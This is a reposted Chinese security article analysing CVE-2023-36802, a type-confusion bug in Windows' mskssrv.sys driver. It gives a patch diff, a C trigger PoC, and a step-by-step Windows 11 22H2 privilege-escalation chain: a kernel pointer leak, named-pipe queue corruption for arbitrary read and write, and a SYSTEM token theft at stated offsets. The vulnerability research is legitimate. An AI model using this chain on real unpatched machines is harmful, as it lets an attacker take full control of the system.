旧漏洞,新规则:不用捷径拿下CVE-2023-36802

admin 2026-07-01 05:50:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析微软流服务代理驱动mskssrv.sys类型混淆漏洞CVE-2023-36802,在微软封堵常见攻击路径后提出新利用方法。通过补丁对比揭示漏洞根因是缺失TypeId检查,详细阐述通过IOCTL触发漏洞、利用FSContextReg与FSStreamReg对象大小差异实现泄漏内核地址的原语,以及通过PublishRx操作的任意递减原语,所有利用均在Windows1122H2现役防护环境下验证。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,内网渗透,WEB安全


cover_image

旧漏洞,新规则:不用捷径拿下 CVE-2023-36802

幻泉之洲

2026年6月29日 10:17 北京

在小说阅读器读本章

去阅读

CVE-2023-36802 是微软流服务代理驱动 mskssrv.sys 的类型混淆漏洞。大多数公开分析都写于微软封堵常见攻击路径之前。这篇文章写于那些缓解措施生效之后——不靠 NtQuery 系列 API 泄露内核地址,也不靠 PreviousMode 做任意读写。全部利用路径都在当前 Windows 11 22H2 环境下完成,每一步都有数据支撑。如果你看过旧文章,漏洞分析部分会很熟悉,但利用方式完全不同。

补丁对比:多了一个 TypeId 检查

先把补丁前后的代码摆出来。左边是漏洞版本 22621.1848,右边是修补后的 22621.2283。

// FSRendezvousServer::FindObject (vulnerable)

  • // FSRendezvousServer::FindStreamObject (patched)

targetObject_1 = targetObject;

  • server = this;
  • this_1 = this;
  • if ( targetObject )
  • if ( targetObject && targetObject->TypeId == 2 ) {
  •   if ( targetObject->TypeId == 1 )
  •   {
  •     contextListHead = &this->ContextList.ListHead;
  •     contextFirst = (struct FSRendezvousServer *)this->ContextList.ListHead.Flink;
  •     if ( contextFirst != (struct FSRendezvousServer *)&this->ContextList.ListHead )
  •       this->ContextList.Iterator = contextFirst;
  •     while ( 1 )
  •     {
  •       Iterator = (const struct FSRegObject **)server->ContextList.Iterator;
  •       if ( !Iterator
  •         || contextListHead->Flink == contextListHead
  •         || Iterator == (const struct FSRegObject **)contextListHead )
  •       {
  •         break;
  •       }
  •       if ( Iterator != (const struct FSRegObject **)8 && Iterator[3] == targetObject_1 )
  •         return 1;
  •       FSRegObjectList::MoveNext(&server->ContextList);
  •     }
  •   }
  •   else
  •   {    p_ListHead = &this->StreamList.ListHead;
  •     streamFirst = (struct FSRendezvousServer *)this->StreamList.ListHead.Flink;
  •     if ( streamFirst != (struct FSRendezvousServer *)&this->StreamList.ListHead )
  •     Iterator_1 = (struct FSRendezvousServer *)this->StreamList.ListHead.Flink;
  •     if ( Iterator_1 != (struct FSRendezvousServer *)&this->StreamList.ListHead )      this->StreamList.Iterator = Iterator_1;    while ( 1 )    {
  •       contextCurrent = (const struct FSRegObject **)server->StreamList.Iterator;
  •       if ( !contextCurrent
  •       Iterator = (const struct FSRegObject **)this_1->StreamList.Iterator;
  •       if ( !Iterator        || p_ListHead->Flink == p_ListHead
  •         || contextCurrent == (const struct FSRegObject **)p_ListHead )
  •         || Iterator == (const struct FSRegObject **)p_ListHead )      {        break;      }
  •       if ( contextCurrent != (const struct FSRegObject **)8 && contextCurrent[3] == targetObject_1 )
  •       if ( Iterator != (const struct FSRegObject **)8 && Iterator[3] == targetObject_1 )        return 1;
  •       FSRegObjectList::MoveNext(&server->StreamList);
  •       FSRegObjectList::MoveNext(&this_1->StreamList);    }
  •   } } return 0;

补丁把函数名从 FindObject 改成 FindStreamObject,并加了一个硬性条件:targetObject->TypeId == 2。之前可以同时搜 ContextList 和 StreamList,现在只认 TypeId 为 2 的 FSStreamReg 对象。FSContextReg(TypeId 为 1)直接就被拒了。整个 ContextList 搜索分支被连根删掉。

为什么要这么改?往下看你就会明白。

两种对象,两种大小

逆向 mskssrv.sys,找到两个初始化函数。

第一个是 FSRendezvousServer::InitializeStream。它用池标签 SreG 分配一个 0x1D8 大小的块,再调用 FSStreamReg::FSStreamReg 构造函数,把 TypeId 置为 2,对象大小记为 472 字节(0x1D8)。

__int64 __fastcall FSRendezvousServer::InitializeStream(struct FSRendezvousServer *this, struct FS_IRP *irp) {  …  rawAlloc = (FSStreamReg *)ExAllocatePool2(POOL_FLAG_NON_PAGED, 0x1D8, ‘GerS’);  if (rawAlloc) {    FSStreamReg::FSStreamReg(rawAlloc);  // TypeId = 2  }  … }

// 构造函数内 this->TypeId = 2; this->ObjectSize = 472;

第二个是 FSRendezvousServer::InitializeContext。它用标签 CreG 分配 0x78 大小,初始化一个 FSContextReg,TypeId 为 1。

rawAlloc->TypeId = 1; rawAlloc->ObjectSize = 0x78;

两个对象大小不同,TypeId 也不同。在 SrvDispatchIoControl 里,不同的 IOCTL 码对应不同的处理函数:

  • 0x2F0400 InitializeContext → 创建 FSContextReg(TypeId=1, 0x78 字节)
  • 0x2F0404 InitializeStream → 创建 FSStreamReg(TypeId=2, 0x1D8 字节)
  • 0x2F0408 PublishTx
  • 0x2F040C PublishRx
  • 0x2F0410 ConsumeTx
  • 0x2F0414 ConsumeRx

后四个操作全部调用 FindObject 来验证 FsContext2 中的对象,然后强制转型为 FSStreamReg 并调用对应方法。如果 FsContext2 里实际存的是 FSContextReg,类型就乱了。

触发漏洞

触发很简单。先通过 IOCTL 0x2F0400 创建一个 FSContextReg 对象,再调用任意一个 PublishTx/PublishRx/ConsumeTx/ConsumeRx 就行。精简后的 PoC 长这样:

include

include

define DEVICE_NAME L”\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}”

define IOCTL_PUBLISH_TX 0x2F0408

define IOCTL_INIT_CONTEXT 0x2F0400

int main() {    HANDLE hDevice = CreateFileW(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hDevice == INVALID_HANDLE_VALUE) {        printf(“[-] Open failed: %lu\n”, GetLastError());        return 1;    }

   char buf[0x100] = {0};    *(uint32_t *)(buf + 0x00) = 1;                              /* Flags (bit 0 set) */    *(uint64_t *)(buf + 0x08) = (uint64_t)GetCurrentProcessId(); /* ProcessId */    *(uint64_t *)(buf + 0x10) = 0x4141414141414141ULL;          /* ContextKey */    *(uint64_t *)(buf + 0x18) = 0;                              /* EventHandle = NULL */    DWORD bytesReturned;

   if (!DeviceIoControl(hDevice, IOCTL_INIT_CONTEXT, buf, sizeof(buf), NULL, 0, &bytesReturned, NULL)) {        printf(“[-] Failed to send IOCTL_INIT_CONTEXT: %lu\n”, GetLastError());        CloseHandle(hDevice);        return 1;    }

   printf(“[+] IOCTL_INIT_CONTEXT sent successfully!\n”);

   memset(buf, 0, sizeof(buf));    *(uint32_t *)(buf + 0x20) = 1;  /* Capacity */    *(uint32_t *)(buf + 0x24) = 1;  /* Count */

   if (DeviceIoControl(hDevice, IOCTL_PUBLISH_TX, buf, sizeof(buf), buf, sizeof(buf), &bytesReturned, NULL))        printf(“[+] PublishTX OK\n”);    CloseHandle(hDevice);    return 0; }

补丁就是瞅准了这个类型混淆,一刀切掉 ContextList 的检索,只认 TypeId == 2。

我们手里有什么原语

在进入最终利用路径之前,得先把已有的读写能力摸清楚。

泄漏原语

漏洞函数 FSRendezvousServer::ConsumeTx 里,会对流对象调用 FSStreamReg::GetStats,然后把数据拷到 irp->AssociatedIrp.SystemBuffer

void __fastcall FSStreamReg::GetStats(struct FSStreamReg *this, char *system_buff) {  if ( system_buff )  {    *(_QWORD *)system_buff = *(_QWORD *)this->PendingFrames.Pad3;    *((_QWORD *)system_buff + 1) = *(_QWORD *)this->CompletedFrames.Pad3;    *((_DWORD *)system_buff + 4) = this->PendingFrames.Count;    *((_DWORD *)system_buff + 5) = this->CompletedFrames.Count;  } }

偏移 0x128、0x138、0x1a0、0x1b0 的数据会被读出来。因为 FSContextReg 只有 0x78 字节,它会落在 LFH 0x90 桶里。所以漏洞对象只会跟同样 0x90 大小的块相邻。通过堆喷和布局,我们能从越界区域读到 NpFr2->Flink(NPFS 数据条目链表指针),这就拿到了内核地址。

沿着 Flink 还能继续读到同一 CCB 下的下一个 NpFr 条目,只要它们属于同一个连接上下文。

任意递减原语

FSStreamReg::PublishRx 的内部逻辑:

if ( Iterator->MatchId == (void *)*((_QWORD *)frameInfo + 17 * i + 6) ) {    Field_C8 = (int)Iterator->Field_C8;    FSFrameMdl::UnmapPages(Iterator);    if ( Field_C8 )    {        ObfDereferenceObject(this->InitProcess);        ObfDereferenceObject(this->Reserved2); // 这里可以做任意递减    }    v5 = 1; }

如果能控制 this->Reserved2 的指向,ObfDereferenceObject 就会对它指向的地址做一次指针引用计数递减。注意,要走到这条路径,需要先让外层循环匹配到一个伪造的 FSFrameMdlEntry,而且还要绕过 KeSetEvent 避免崩溃。我的做法是:在用户态分配一页,放一个自引用的链表项,让 PublishRx 在另一个线程里一直循环,不触发事件信号。

写 DWORD 2 原语

同样在 PublishRx 里,FSFrameMdl::UnmapPages 会把 this->Field_10 写成 2。控制 this->Field_10,就能往一个受控地址写入常量 2。

LODWORD(this->Field_C8) = 0; LODWORD(this->Field_10) = 2; // 任意写 dword 2

但这个函数前面还有 MmUnmapLockedPages,如果 this+0xa0this+0xa8 非零,就会先调用它。由于我们操控的是 0x90 桶里的相邻块,偏移 0xa0 会跨到下一个 chunk 里,控制不了就必然蓝屏。试了一圈,零化掉下一块的前 0x10 字节太不可靠。调试时也发现 [rcx+20h] 的校验会碰到 IRP 相关字段,这个写原语基本不能用。

所以写 DWORD 2 的路走不通,真正能用的是递减原语。

递减原语作用于 &Flink + 1,会使指针整体向低地址退 0x100。只要我们提前把前一个 chunk 布置好伪造的 DQE(数据队列条目),递减后新指针就能落入我们的可控区域。

ObDereferenceObject 内部会检查对象头,具体来说 mov rcx, [rsi-28h] 会读到 [&Flink + 9],如果这个字节不符合引用计数的安全范围,直接 BugCheck。如何绕过?让前一个条目的地址页对齐(低 12 位为 0)。

问题来了:当前堆布局里,前一个条目也是 0x90 的 NpFr,不是页对齐的。解决办法是用 CancelIoEx() 调用到 NpCancelDataQueueIrp(),把中间的 0x90 NpFr1 取消掉。这样链表里 NpFr2->Blink 就会指回 &NpFr0->Flink,而 NpFr0 是 0x1000 大小的 NPFS 对象,首地址页对齐。

然后布置堆:先喷一堆 0x1000 的 NpFr 块,挖洞,再做泄漏布局。每一个 0x1000 块在偏移 0xed0 处预先填好用户态的伪造 DQE 地址。递减触发后,NpFr2->Flink 就指向这个伪造地址,NPFS 遍历队列时会进入我们控制的 DQE。

任意读、任意写

到了这一步,后续思路就参考了 vp777 公开的技术[1]。

在该伪造 DQE 里标记为 Unbuffered 模式,把它的伪造 IRP 的 AssociatedIrp.SystemBuffer 指向目标内核地址,然后调用 PeekNamedPipe。NPFS 处理被破坏的队列时,会把那个内核地址的数据当成数据源,拷贝 DataSize 字节到用户缓冲区。任意读到手。

利用读原语把真实 DQE 和 IRP 的地址也读回来。有了内核态 IRP 地址,就造一个内核假 IRP,通过 IofCompleteRequest 让 NPFS 完成它。完成路径会做缓冲 I/O 回拷,控制 SystemBufferUserBufferIoStatus.Information 就能实现任意写。

定位 EPROCESS

任意读拿到后,第一件事是从损坏的管道队列里找出真正的 IRP。读取 NpFr2 DQE 的 IRP 指针,再从 IRP->Tail.Overlay.Thread 找到 ETHREAD。Windows 11 22H2 下,_KTHREAD.Process 在偏移 0x220。于是整条链路:

NpFr2 DQE    -> IRP       -> IRP->Tail.Overlay.Thread          -> ETHREAD             -> KTHREAD.Process                -> 当前 EPROCESS

拿到当前进程 EPROCESS 后,遍历 ActiveProcessLinks 找到 PID 4(SYSTEM),提取它的 EPROCESS。

提权到 SYSTEM

Windows 11 22H2 上,Token 字段在 _EPROCESS + 0x4b8。读一下 SYSTEM 进程的 Token 值,用任意写原语写进当前进程的同一偏移。写完之后,当前进程的主令牌就变成 SYSTEM。

到此,利用结束。全程没用一个 NtQuery* 接口,也没碰 PreviousMode。

写在最后

这个漏洞本身不新鲜,但我做的时候被明确要求不能走老路——没有内核地址泄露捷径,没有方便好用的 PreviousMode。逼着从混乱的堆布局里拼出一条路来,整个过程反复调试、崩溃、调整,再崩溃、再调整。说实话,递减原语那条路如果不是对 CancelIoEx 的副作用足够了解,很容易直接放弃。

感谢我的导师 Dang Nguyen(@MochiNishimiya, https://x.com/MochiNishimiya)。他给了我一个被充分记录的老漏洞,却拿掉了所有现成答案,逼我挖出一条新路。


参考资料:

  1. KASLR 泄露限制:https://windows-internals.com/kaslr-leaks-restriction/
  2. PreviousMode 利用变迁:https://blog.vmcall.io/blog/2025-04-05-porting-to-24H2/
  3. PreviousMode 串行实验:https://owl-a.github.io/windows%2011/2025/02/19/Serial-Experiments-PreviousMode/
  4. IBM X-Force 对 CVE-2023-36802 的分析:https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service
  5. Google Project Zero 的 0day 复盘:https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html
  6. THEORI 的提权链分析:https://theori.io/blog/chaining-n-days-to-compromise-all-part-6-windows-kernel-lpe-get-system
  7. vp777 的非分页池溢出利用:https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation
  8. Windows 11 22H2 IRP 结构:https://www.vergiliusproject.com/kernels/x64/windows-11/22h2/_IRP
  9. IRP.Tail.Overlay.Thread 文档:https://ntdoc.m417z.com/irp#tail-overlay-thread

参考资料

[1] https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation

[2] https://starlabs.sg/blog/2026/06-old-bug-harder-rules-exploiting-cve-2023-36802-without-the-usual-shortcuts/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《旧漏洞,新规则:不用捷径拿下 CVE-2023-36802》

评论:0   参与:  0